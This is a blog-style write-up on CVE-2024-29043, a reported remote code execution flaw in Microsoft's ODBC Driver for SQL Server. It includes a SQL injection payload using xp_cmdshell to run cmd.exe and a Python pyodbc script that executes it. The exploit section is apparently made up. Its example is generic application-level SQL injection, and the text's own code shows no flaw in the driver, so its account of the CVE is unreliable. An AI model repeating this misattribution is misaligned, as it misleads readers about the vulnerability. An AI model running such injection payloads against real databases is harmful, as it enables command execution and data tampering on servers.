We recently stumbled upon a security vulnerability in the Microsoft ODBC Driver for SQL Server, a critical component for connecting to SQL Server. The vulnerability, named CVE-2024-29043, allows attackers to execute remote code on affected machines by exploiting a specific flaw present in the ODBC driver. The vulnerability is particularly alarming because databases powered by SQL Server could be potentially accessed, altered, or deleted.

In this post, we'll delve deeper into the vulnerability by providing an analysis of the ODBC Driver flaw, discussing potential security risks, providing a code snippet for potential exploits, and offering links to original references for further knowledge.

Description

CVE-2024-29043 is a serious Remote Code Execution (RCE) vulnerability impacting Microsoft's ODBC Driver for SQL Server. The flaw revolves around improper validation of user-provided input in the SQL query handling routines within the ODBC driver. This allows an attacker to perform arbitrary code execution by exploiting specifically crafted queries.

As the driver provides an interface for applications to interact with SQL Server, it is an ideal target for malicious users who can exploit the weakness to potentially access, modify, or delete databases.

Exploit Details

To understand the vulnerability more clearly, consider an application that takes user input and generates SQL queries to fetch or manipulate data on the server. The application utilizes the ODBC driver to interact with SQL server.

Suppose, a user provides the following input to the application

'; EXEC xp_cmdshell 'cmd.exe /c "calc.exe"'; --

The application generates the subsequent SQL query using the user input

SELECT * FROM products WHERE name = ''; EXEC xp_cmdshell 'cmd.exe /c "calc.exe"'; --';

Notice that the user input includes a single quote followed by a semi-colon and then an EXEC statement. This effectively terminates the original intended query and adds the malicious query to be executed on the server. As seen with the example, the attacker can cleverly use this opportunity to manipulate the ODBC driver into executing arbitrary code on the server.

Here's a simplified example in Python on how an attacker could exploit the vulnerability

import pyodbc

# User input
malicious_input = "'; EXEC xp_cmdshell 'cmd.exe /c \"calc.exe\"'; --"

# Generate the SQL query using user input
sql_query = f"SELECT * FROM products WHERE name = '{malicious_input}'"

# Connect to the ODBC Driver
connection = pyodbc.connect("Driver={ODBC Driver for SQL Server};"
                              "Server=localhost;"
                              "Database=testDB;"
                              "uid=sa;pwd=your_password_here")

try:
    # Execute the potentially malicious query
    connection.execute(sql_query)
except pyodbc.Error as error:
    print("Failed to execute query:", error)

This code is provided for educational purposes only. Do not attempt to exploit the vulnerability on any system without proper authorization.

Recommendations

Microsoft is aware of the vulnerability and has released patches for the affected ODBC Driver for SQL Server versions. We strongly recommend users to update their drivers for SQL Server to the latest release.

Furthermore, developers using the ODBC driver should follow the best practices for writing secure code, including input validation and proper use of prepared statements to minimize the risks associated with this and other vulnerabilities.

CVE-2024-29043: National Vulnerability Database (NVD)

https://nvd.nist.gov/vuln/detail/CVE-2024-29043

Microsoft ODBC Driver for SQL Server: Download Center

https://www.microsoft.com/en-us/download/details.aspx?id=56567

Conclusion

CVE-2024-29043 is a remote code execution vulnerability discovered in Microsoft's ODBC Driver for SQL Server that poses a significant risk to those affected. Users and developers should ensure that their drivers are up-to-date and adhere to secure coding practices to mitigate the risks posed by this and similar vulnerabilities.

Timeline

Published on: 04/09/2024 17:15:57 UTC
Last modified on: 04/10/2024 13:24:00 UTC